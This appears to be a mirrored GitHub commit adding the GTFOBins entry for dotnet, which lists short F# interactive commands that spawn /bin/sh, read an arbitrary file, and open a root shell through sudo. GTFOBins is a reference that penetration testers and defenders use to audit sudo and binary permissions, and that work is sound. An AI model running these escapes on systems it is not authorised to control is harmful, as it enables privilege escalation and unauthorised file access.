mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-07-26 04:05:40 +02:00
16
_gtfobins/dotnet.md
Normal file
16
_gtfobins/dotnet.md
Normal file
@@ -0,0 +1,16 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
dotnet fsi
|
||||
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||
file-read:
|
||||
- code: |
|
||||
export LFILE=file_to_read
|
||||
dotnet fsi
|
||||
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
|
||||
sudo:
|
||||
- code: |
|
||||
sudo dotnet fsi
|
||||
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
|
||||
---
|
Reference in New Issue
Block a user